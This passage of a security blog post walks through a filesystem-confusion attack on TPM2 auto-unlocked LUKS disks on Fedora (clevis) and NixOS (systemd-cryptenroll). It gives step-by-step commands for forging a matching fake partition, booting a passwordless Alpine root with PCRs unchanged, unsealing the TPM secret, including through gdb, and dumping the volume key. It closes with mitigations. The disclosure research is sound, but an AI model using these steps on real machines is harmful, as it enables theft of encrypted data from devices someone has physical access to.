 6 host-platform 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
 7 secure-boot-policy 4770a4fb1dac716feaddd77fec9a28bb2015e809a34add1a9d417eec36ec1e17
 8 - e3e23c0da36fa31767885aec7aee3180fb2f5e0b67569c3a82c2a1c3ca88a651
 9 kernel-initrd 091f6917b0c8788779f4d410046250e6747043a8cd1bd75bf90713cc6de30d99
10 ima 2566bdf57c3aa880f7b0c480f479c0a88e0e72ae7ef3c1888035e7238bbe9257
11 kernel-boot 0000000000000000000000000000000000000000000000000000000000000000
12 kernel-config 0000000000000000000000000000000000000000000000000000000000000000
13 sysexts 0000000000000000000000000000000000000000000000000000000000000000
14 shim-policy 17cdefd9548f4383b67a37a901673bf3c8ded6f619d36c8007562de1d93c81cc
15 system-identity 0000000000000000000000000000000000000000000000000000000000000000
16 debug 0000000000000000000000000000000000000000000000000000000000000000
17 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
18 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
19 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
20 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
21 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
22 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
23 application-support 0000000000000000000000000000000000000000000000000000000000000000

🔗 Inspecting the system

Now, let's pretend we don't know anything about the system and that we just obtained physical access to the machine, which was powered-off.

We start by taking the main disk out and putting it into our machine. You may also be able to boot a Fedora or Debian live image, if the owner has not wiped the Microsoft keys from their BIOS in favor of their own. Once booted, we start investigating the disk layout and partitions:

[root@localhost]# blkid
/dev/nvme0n1p1: LABEL_FATBOOT="EFI" LABEL="EFI" UUID="E2AA-BB8B" BLOCK_SIZE="512" TYPE="vfat" PARTLABEL="EFI System Partition" PARTUUID="b9cd5e99-00ec-45e8-be33-72809ae30602"
/dev/nvme0n1p2: LABEL="boot" UUID="d0a1796a-5c1e-446f-8b70-2910d094d195" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="e5cc6afa-285b-4bc6-8fb1-a6c5344d20a9"
/dev/nvme0n1p3: UUID="779328d5-00ca-4ade-be44-6daa549642ed" TYPE="crypto_LUKS" PARTUUID="4e73c89f-3840-458a-ada6-0f5349ab36e1"

We take a quick peek at the encrypted partition, which is our main target:

[root@localhost]# cryptsetup luksDump /dev/nvme0n1p3
LUKS header information
Version: 2
Epoch: 9
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: 779328d5-00ca-4ade-be44-6daa549642ed
# [...]
Tokens:
 0: clevis
 Keyslot: 1
# [...]

We can already see that the system owner has used clevis to configure the automated unlocking. What we want to find for now is the initrd and kernel command line, so some GRUB or systemd-boot configuration file. Since Fedora uses pre-signed images, the EFI partition will only contain the loader and shim, which shouldn't contain any information about the actual system. But the boot partition /dev/nvme0n1p2 looks promising, so let's mount it and see what we find:

[root@localhost]# mount /dev/nvme0n1p2 /mnt/boot
[root@localhost]# ls -l /mnt/boot
total 222500
dr-xr-xr-x. 6 root root 4096 Jan 13 23:09 ./
dr-xr-xr-x. 19 root root 4096 Jan 13 23:06 ../
-rw-r--r--. 1 root root 277997 Oct 20 02:00 config-6.11.4-301.fc41.x86_64
drwx------. 3 root root 4096 Jan 1 1970 efi/
drwx------. 3 root root 4096 Jan 13 23:10 grub2/
-rw-------. 1 root root 139254374 Jan 13 23:09 initramfs-0-rescue-868c201e807541caacd6fa6b32d5ba2e.img
-rw-------. 1 root root 45514433 Jan 14 00:54 initramfs-6.11.4-301.fc41.x86_64.img
drwxr-xr-x. 3 root root 4096 Jan 13 23:06 loader/
drwx------. 2 root root 16384 Jan 13 23:05 lost+found/
-rw-r--r--. 1 root root 182584 Jan 13 23:09 symvers-6.11.4-301.fc41.x86_64.xz
-rw-r--r--. 1 root root 9968458 Oct 20 02:00 System.map-6.11.4-301.fc41.x86_64
-rwxr-xr-x. 1 root root 16296296 Jan 13 23:08 vmlinuz-0-rescue-868c201e807541caacd6fa6b32d5ba2e*
-rwxr-xr-x. 1 root root 16296296 Oct 20 02:00 vmlinuz-6.11.4-301.fc41.x86_64*
-rw-r--r--. 1 root root 161 Oct 20 02:00 .vmlinuz-6.11.4-301.fc41.x86_64.hmac

Great! There are the kernel and initrd images plus a loader/ directory containing some GRUB entry configurations. We will take a look at those configuration files first:

[root@localhost]# ls -l /mnt/boot/loader/entries
-rw-r--r--. 1 root root 445 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-0-rescue.conf
-rw-r--r--. 1 root root 369 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
[root@localhost]# cat /boot/loader/entries/868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
title Fedora Linux (6.11.4-301.fc41.x86_64) 41 (Server Edition)
version 6.11.4-301.fc41.x86_64
linux /vmlinuz-6.11.4-301.fc41.x86_64
initrd /initramfs-6.11.4-301.fc41.x86_64.img
options root=UUID=1a887df4-286d-4842-bd66-d8993e8596d2 ro rd.luks.uuid=luks-779328d5-00ca-4ade-be44-6daa549642ed rhgb quiet
grub_users $grub_users
grub_arg --unrestricted
grub_class fedora

Wow, this is looks like we already found all the important information! Judging from the commandline syntax, this is likely an initrd that was generated by dracut. There seems to be a LUKS encrypted partition with UUID 779328d5-00ca-4ade-be44-6daa549642ed and a root file system with UUID 1a887df4-286d-4842-bd66-d8993e8596d2, which is certainly inside of the LUKS partition. The type of filesystem is not specified, so we are free to choose anything that is supported by the initramfs for our fake.

🔗 Planning our exploit

In theory, we'd need to find out one additional thing - the binary that will be called by the initrd when it want's to switch to the real system. But the chances are very high that it is /sbin/init (this is not the case on all systems though, see the NixOS PoC below for an example). If our assumption doesn't work out, we can still double check by extracting the initrd later.

In order to confuse the initrd, we now need to:

Backup the original LUKS parition so we can later decrypt it
Replace the LUKS partition with a fake LUKS partition that has the UUID 779328d5-00ca-4ade-be44-6daa549642ed
This LUKS partition must contain a filesystem with UUID 1a887df4-286d-4842-bd66-d8993e8596d2
The inner filesystem contains a /sbin/init binary that does what we want

We may actually only backup the first few megabytes of the original LUKS partition and make sure our fake partition is exactly the same size as our backup. By overwriting just the beginning in this way we don't have to do a full disk backup, which would otherwise take a very long time and would require us to bring a spare disk with us.

🔗 Backup the beginning of the original LUKS partition

[root@localhost]# dd if=/dev/nvme0n1p3 of=/boot/luks-original.bak bs=64M count=1

We'll abuse the free space on the boot partition to store this backup, which makes it easy to access later. If you don't want to tamper too much with the original disk, you can of course use a small thumb drive.

🔗 Create fake partition and filesystem with matching UUIDs

Next, we create a 64MB file in which we will prepare our partition. The size is a bit arbitrary, it just needs to cover the LUKS and inner filesystem header and must fit our exploit binary. So we initialize a new LUKS partition with the UUID from above, and then open it and format its contents with ext4:

[root@localhost]# truncate -s 64MB /root/fakeluks
[root@localhost]# cryptsetup luksFormat /root/fakeluks --key-file <(echo -n 1234) --uuid 779328d5-00ca-4ade-be44-6daa549642ed
[root@localhost]# cryptsetup open /root/fakeluks fakeluks --key-file <(echo -n 1234)
[root@localhost]# mkfs.ext4 /dev/mapper/fakeluks -U 1a887df4-286d-4842-bd66-d8993e8596d2
[root@localhost]# mount /dev/mapper/fakeluks /mnt/root

🔗 Prepare filesystem

Now we could theoretically prepare a tiny binary that directly extracts the key from the TPM, but it's far simpler just put a minimal Alpine image there and install the necessary tools to do that manually. This will also easily fit into 64MB. Let's proceed by preparing the Alpine filesystem:

[root@localhost]# cd /mnt/root
[root@localhost]# wget https://dl-cdn.alpinelinux.org/alpine/v3.21/releases/x86_64/alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# tar xvf alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# rm alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# cat /etc/resolv.conf > /mnt/root/etc/resolv.conf # Just for DNS resolution at this moment, so we can install packages in the chroot
[root@localhost]# chroot /mnt/root /sbin/apk add \  # Install some tools that we need
 tpm2-tools tpm2-tss-tcti-device jose cryptsetup
[root@localhost]# wget -O /mnt/root/bin/clevis-decrypt-tpm \
 "https://raw.githubusercontent.com/latchset/clevis/0839ee294a2cbb0c1ecf1749c9ca530ef9f59f8f/src/pins/tpm2/clevis-decrypt-tpm2"
[root@localhost]# chmod +x /mnt/root/bin/clevis-decrypt-tpm # Helper to retrieve password from TPM2
[root@localhost]# sed -i 's/root:x/root:/' /mnt/root/etc/passwd # Remove root password

🔗 Overwriting the partition

Finally, we unmount our fake filesystem and overwrite the first 64MB of the original partition with it, then put the disk back into the original machine and reboot:

[root@localhost]# umount /mnt/root
[root@localhost]# cryptsetup close /dev/mapper/fakeluks
[root@localhost]# sync
[root@localhost]# dd if=/root/fakeluks of=/dev/nvme0n1p3 bs=64M count=1

We will now be asked for the LUKS password we just set, since the automatic decryption will obviously not trigger on our fake partition, which has no token metadata. After entering our password from above, we are greeted by the Alpine image. We can login as root without a password:

Welcome to Alpine Linux 3.21
Kernel 6.11.4-301.fc41.x86_64 on an x86_64 (/dev/tty1)

localhost login: root
Welcome to Alpine!

localhost:~#

🔗 Verifying PCRs

Now let's check whether any of the PCRs was affected by our operation:

localhost:~# tpm2_pcrread
 sha1:
 sha256:
 0 : 0x8C2AF609E626CC1687F66EA6D0E1A3605A949319514A26E7E1A90D6A35646FA5
 1 : 0x299B0462537A9505F6C63672B76A3502373C8934F08A921E1AA50D3ADF4BA83D
 2 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
 3 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
 4 : 0x5FDBD66C267BD9513DBC569DB0B389A37445E1AA463F9325EA921563E7FB37EB
 5 : 0x38A281376260137602E5C70F7A9057E4C55830D22A02BB5A66013D6AC2576D2F
 6 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
 7 : 0x4770A4FB1DAC716FEADDD77FEC9A28BB2015E809A34ADD1A9D417EEC36EC1E17
 8 : 0xE3E23C0DA36FA31767885AEC7AEE3180FB2F5E0B67569C3A82C2A1C3CA88A651
 9 : 0x091F6917B0C8788779F4D410046250E6747043A8CD1BD75BF90713CC6DE30D99
 10: 0x2566BDF57C3AA880F7B0C480F479C0A88E0E72AE7EF3C1888035E7238BBE9257
 11: 0x0000000000000000000000000000000000000000000000000000000000000000
 12: 0x0000000000000000000000000000000000000000000000000000000000000000
 13: 0x0000000000000000000000000000000000000000000000000000000000000000
 14: 0x17CDEFD9548F4383B67A37A901673BF3C8DED6F619D36C8007562DE1D93C81CC
 15: 0x0000000000000000000000000000000000000000000000000000000000000000
 16: 0x0000000000000000000000000000000000000000000000000000000000000000
 17: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
 18: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
 19: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
 20: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
 21: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
 22: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
 23: 0x0000000000000000000000000000000000000000000000000000000000000000
 sha384:
 sm3_256:

The output format is slightly different to that of systemd-analyze pcrs, but we can see that all values are the same as in the real system. Some boards may have different values in PCR 1 after every power cycle, but don't worry, in that case you can be sure that the owner didn't use it either. So this means our attack was successful! We can now go ahead and retrieve the volume key of the original partition.

🔗 Extracting the volume key

By quickly skimming the clevis source we find that it stores a JWE token in the LUKS header, which contains an encrypted secondary key to unlock the partition. It also contains some metadata required to have it decrypted by the TPM, like which PCRs have to be used in the TPM context. Back when we inspected the LUKS header, we found the clevis token in slot 0, so let's first extract this token:

localhost:~# mount -o remount,rw / # This alpine image is not writable by default
localhost:~# mount /dev/nvme0n1p1 /mnt
localhost:~# cryptsetup token export --token-id 0 /mnt/luks-original.bak | tee token.json
{
 "type": "clevis",
 "keyslots": [
 "1"
 ],
 "jwe": {
 "ciphertext": "hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS",
 "encrypted_key": "",
 "iv": "5zuFP0kEuqiCh0QL",
 "protected": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ",
 "tag": "7DIhyL_ZNocrUHTPr1PQWg"
 }
}

Clevis would then proceed to extract a JWE token and hand it to clevis-decrypt-tpm2 which decrypts it using the TPM, so we replicate the procedure:

# Get the contents of the .jwe field
localhost:~# jose fmt -j token.json -Og jwe -o- | tee jwe.json
{
 "ciphertext": "hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS",
 "encrypted_key": "",
 "iv": "5zuFP0kEuqiCh0QL",
 "protected": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ",
 "tag": "7DIhyL_ZNocrUHTPr1PQWg"
}

# Convert this format into the actual JWE token format
localhost:~# jose jwe fmt -i jwe.json -c | tee token.txt
eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ..5zuFP0kEuqiCh0QL.hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS.7DIhyL_ZNocrUHTPr1PQWg

# Use the clevis-decrypt-tpm2 script to decrypt it with the TPM2
localhost:~# cat token.txt | tr -d '\n' | clevis-decrypt-tpm2
4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA

Awesome! We got a password out of it, which is the password clevis originally added to the LUKS partition and which can be used to unlock it! Let's also dump the volume key for future "safekeeping" 🤡:

[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak --dump-volume-key --volume-key-file volume-key.txt \
 --key-file <(echo -n 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA)
# [...]
Are you sure? (Type 'yes' in capital letters): YES
LUKS header information for /mnt/luks-original.bak
Cipher name: aes
Cipher mode: xts-plain64
Payload offset: 32768
UUID: 779328d5-00ca-4ade-be44-6daa549642ed
MK bits: 512
Key stored to file volume-key.txt.

[root@localhost]# cat volume-key.txt | hexdump
0000000 0e42 f904 ae92 97a2 84a0 920a 3b09 faf5
0000010 4feb 1775 b0de 0448 e4f4 c57f 35e6 7e34
0000020 d200 2016 8623 2cd2 5e8e 2262 320a 3e74
0000030 6411 6454 866a d81e 88ff 8dbf b70b 9eef
0000040

At this point we only have to restore the partition to its original state and decrypt the real partition. We can either reboot into a live system (possible if the Microsoft keys are still in the secure boot database) or put the disk back into a system we control. Finally, we can mount the encrypted disk to have a look inside:

[root@localhost]# dd if=/mnt/luks-original.bak of=/dev/nvme0n1p3 bs=64M count=1
[root@localhost]# cryptsetup luksOpen /dev/nvme0n1p3 original \
 --key-file <(echo -n 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA)
[root@localhost]# mount /dev/mapper/original /mnt
[root@localhost]# cat /mnt/etc/os-release
NAME="Fedora Linux"
VERSION="41 (Server Edition)"
RELEASE_TYPE=stable
ID=fedora
VERSION_ID=41
VERSION_CODENAME=""
PLATFORM_ID="platform:f41"
PRETTY_NAME="Fedora Linux 41 (Server Edition)"
ANSI_COLOR="0;38;2;60;110;180"
LOGO=fedora-logo-icon
CPE_NAME="cpe:/o:fedoraproject:fedora:41"
HOME_URL="https://fedoraproject.org/"
DOCUMENTATION_URL="https://docs.fedoraproject.org/en-US/fedora/f41/system-administrators-guide/"
SUPPORT_URL="https://ask.fedoraproject.org/"
BUG_REPORT_URL="https://bugzilla.redhat.com/"
REDHAT_BUGZILLA_PRODUCT="Fedora"
REDHAT_BUGZILLA_PRODUCT_VERSION=41
REDHAT_SUPPORT_PRODUCT="Fedora"
REDHAT_SUPPORT_PRODUCT_VERSION=41
SUPPORT_END=2025-05-13
VARIANT="Server Edition"
VARIANT_ID=server

Success! Apart from researching all of the tools and their internals this has been a rather simple process. I would even claim that with some preparation we can repeat this reliably in under 10 minutes. All it takes is two disk swaps and a few reboots.

Finally I can rest easy knowing that my roommate can make a surprise backup of my server's data while I'm away 🎉. A solid 3-2-1(+1) strategy.

🔗 Proof-of-concept exploitation of a NixOS machine

This will be very similar to the previous PoC, so I skipped a lot of the boilerplate this time. If you are not specifically interested in NixOS or systemd-cryptenroll, you can jump to the next section by clicking here.

Secure boot on NixOS is currently implemented by the awesome lanzaboote project, which does some things differently than what we just saw on Fedora. Most notably we will enroll our own secure boot keys (and can wipe the microsoft keys), our kernel and initrd will both be fully signed as a UKI image and systemd-boot will not allow you to edit the command line. Another small difference to the Fedora setup is that we will use systemd-cryptenroll instead of clevis.

In any case, the overall exploitation will be very similar, the NixOS initrd also doesn't verify LUKS identities (as of January 2025).

🔗 System setup

Fortunately, the setup is extremely simple with lanzaboote. I recommend having a look at their Quick Start Guide in case you don't know the project already. I've added the full configuration of the test machine here, in case you want to replicate this. The final setup steps were:

# Clear secure boot keys, start nixos live image, copy flake to live image, then:
[root@nixos]# alias nix='nix --experimental-features "nix-command flakes"'
[root@nixos]# nix build --print-out-paths .#nixosConfigurations.nixos.config.system.build.diskoScript
/nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko
[root@nixos]# nix build --print-out-paths .#nixosConfigurations.nixos.config.system.build.toplevel
/nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e

# Format and install:
[root@nixos]# /nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko # Format disk(s)
[root@nixos]# nixos-install --no-root-password --system \  # Install system
 /nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e
[root@nixos]# nixos-enter --mountpoint /mnt -- sbctl create-keys # Create and enroll secure boot keys, need to rerun install afterwards to make lanzaboote happy

# Reboot and enroll LUKS key:
[root@nixos]# systemd-cryptenroll /dev/disk/by-partlabel/disk-main-luks --tpm2-device=auto --tpm2-pcrs=0+2+4+7
# ... Enter password ...
New TPM2 token enrolled as key slot 1.

🔗 Inspecting the system

This step works in the same was as it did for Fedora, but we will find that the NixOS initrd works a bit differently - it itself is a kind of mini-NixOS. The important information is the following:

The mount commands for filesystems are in systemd units, which usually use UUIDs, labels or partlables to identify disks. In our case it will be partlabels, so we don't even have to fake any UUIDs.
Once the initrd decrypts the root partition, it searches for the toplevel derivation by resolving the init=/nix/store/<hash>-nixos-system-.../init path
This toplevel derivation contains a prepare-root binary which is the first one that is executed. This is our entry point.

🔗 LUKS partition backup and overwrite

Next, we overwrite the LUKS partition and overwrite it with our fake. We can reuse the same fake partition with the Alpine image as on Fedora as it has the advantage of being very small. If the user has /nix on a separate partition it may be simpler to just build a small NixOS system and link the resulting toplevel derivation to the path expected by the initrd.

Rebooting the original system with the modified disk will now yield an Alpine root shell. After running tpm2_pcrread we can verify that we have not changed any PCRs with our modifications. To understand the differences of systemd-cryptenroll over clevis, let's continue with some more detail from here:

🔗 Extracting the volume key

Once again we will inspect the LUKS header of our backup, which I've also copied over to the boot partition for easy access. We see that systemd-cryptenroll creates a token in the LUKS header, similar to clevis:

[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak
LUKS header information
Version: 2
Epoch: 6
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: 5a9d9566-aae2-49b9-abf5-c6f0a887159c
# [...]
Tokens:
 0: systemd-tpm2
 Keyslot: 1
# [...]

[root@localhost]# cryptsetup token export --token-id 0 /mnt/luks-original.bak | tee token.json
{
 "type": "systemd-tpm2",
 "keyslots": [ "1" ],
 "tpm2-blob": "AJ4AIPtjVjiz90zIPEHgRoJVpsix/e1tBRaMkOv0tWEBBKegABC5vMp9mQt81TjlRmtEhca98VfRuXxAoYcB5yjzShhTZhfCzwgXpC7rd5TETxBhvtWbo4BQULmZT29InkqpXRaO/b7DyXqLDQusdAfQO/lQSVxwWjVR576OFJUvAMPN6XEVyH8jDFd+F5FtuaEsYS4t46ThxMWa10ttRwBOAAgACwAABBIAIE8jssxPAKj8Duc+hrtEmIZxQS0Hv3Uptj92Ud33KVpBABAAIDBubaOpjc3KX/Lj0jHbe9plgv9wTIKYsUtFCKOGotRU",
 "tpm2-pcrs": [ 0, 2, 4, 7 ],
 "tpm2-pcr-bank": "sha256",
 "tpm2-policy-hash": "4f23b2cc4f00a8fc0ee73e86bb44988671412d07bf7529b63f7651ddf7295a41",
 "tpm2_srk": "gQAAAQAiAAt+KklPEEbTTiWnmjC8TapUFILGmpUxJHOLyhfoPjJpFwAAAAEAWgAjAAsAAwRyAAAABgCAAEMAEAADABAAIB/V/x4OEuiI/TAynXAqG6pJHrJH9GJoEtgjqa+C0AlkACDBNasZylLB/v5PdYsWfJgE/MXZeUi2LMVE/FXfbsyDAw=="
}

The token format is slightly different to that from clevis, it just contains all necessarey information on the toplevel without a roundtrip through JWE. To understand how the values are supposed to be used, we need to understand what systemd-cryptenroll does to unlock the disk. In the systemd source code we find that the responsible function is called static int tpm2_unseal(...). Instead of tediously replicating all the unmarshalling logic, we can just call systemd-cryptsetup through gdb and dump the decrypted secret after that function was called:

gdb --args systemd-cryptsetup attach test /mnt/luks-original.img
# [...]
(gdb) break tpm2_unseal
Function "tpm2_unseal" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (tpm2_unseal) pending.
(gdb) run
Breakpoint 1, 0x00007ffff7bb2f90 in tpm2_unseal ()
(gdb) backtrace
#0 0x00007ffff7bb2f90 in tpm2_unseal () from libsystemd-shared-256.so
#1 0x00007ffff721d7e7 in acquire_luks2_key () from libcryptsetup-token-systemd-tpm2.so
#2 0x00007ffff721c60f in cryptsetup_token_open_pin () from libcryptsetup-token-systemd-tpm2.so
#3 0x00007ffff721caf5 in cryptsetup_token_open () from libcryptsetup-token-systemd-tpm2.so
# ...

By investigating the functions shown in the callstack, we see that right before cryptsetup_token_open_pin() returns, it base64 encodes the unsealed secret which is later used as the slot 1 LUKS password. So we just set a breakpoint to the base64 encoding function and print the secret once it returns (the result pointer is the third argument, so it will be passed via rcx):

(gdb) break base64mem_full
(gdb) continue
(gdb) info registers
# ...
rcx 0x7fffffffc920 140737488341280 # pointer to base64 result
# ...
(gdb) set $a = $rcx # remember where the result will be stored
(gdb) finish
(gdb) printf "%s\n", *(char**)$a
qvramS8M9tetETI1I53p6HWqh1avSqsj/uqpQbvE90s=

Let's test this password by dumping the volume key.

[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak --dump-volume-key --volume-key-file volume-key.txt \
 --key-file <(echo -n "qvramS8M9tetETI1I53p6HWqh1avSqsj/uqpQbvE90s=")
# [...]
Are you sure? (Type 'yes' in capital letters): YES
LUKS header information for copy.img
Cipher name: aes
Cipher mode: xts-plain64
Payload offset: 32768
UUID: 5a9d9566-aae2-49b9-abf5-c6f0a887159c
MK bits: 512
Key stored to file volume-key.txt.

[root@localhost]# cat volume-key.txt | hexdump
0000000 065a cc94 26c0 b0cc 4bcf bf73 e9bb 3c16
0000010 95da 149e 6881 1a5b e7f5 4b59 4bc9 db83
0000020 6008 d237 29a8 9fc7 7a83 dbbf 816e 5ad0
0000030 20fa 03f6 effd 39f5 1f78 8779 c501 35b6
0000040

Nice, we've successfully extracted the volume key again! Finally, we need to restore the original disk header and are then able to decrypt the whole disk. We can either decrypt it by specifying the volume key explicitly, or simply enter the obtained password. Since this is exactly the same as on Fedora, I have not included it here.

🔗 Crude implementation of PCR15 verification

I've looked at all of this together with my friend @PatrickDaG, who has quickly written a NixOS module which you can adapt to add a crude form of PCR 15 verification. Ideally we need something proper upstreamed into nixpkgs, but ensuring the order of decryption is not super simple.

🔗 What now?

It's obviously a pity that the default initrd implementations available on most distributions don't include a verification step out of the box. But there's really nobody to blame here, as none of the distributions advertise automatic TPM unlocking as a secure or even supported configuration, and the guides I've linked to are mostly blog posts from other hobbyists - who may just not have known about this issue.

If you happen to have written about this before, please update your post(s) to make your readers aware of the implications! Thank you!

Unfortunately, I have also not found a simple solution that I can recommend to you right now to actually fix the issue (except for NixOS, see above). Enabling mandatory LUKS key measurement and PCR 15 verification in the initrd is just not something that is easily available as a module or script right now (January 2025), so you'd have to implement it yourself.

From what I learned when researching this, a proper implementation would need to at least:

Predict the value of PCR 15 value at initrd generation time
Implicitly sign this value by adding it to the initrd
Extend PCR 15 at boot time with the volume key of every decrypted LUKS volume, while ensuring in a deterministic decryption order
Verify PCR 15 against the known and signed value before utilizing any data from one of the the encrypted disks

The easiest way to protect your data right now is to bite the bullet and add a TPM PIN, for example by using systemd-cryptenroll --tpm2-with-pin=yes [...] when enrolling your key.

🔗 Conclusion

We've successfully carried out a filesystem confusion attack on two completely different systems to extract their secret volume key, and have seen that the majority of articles about TPM2 auto-unlock setups are likely vulnerable to this attack.

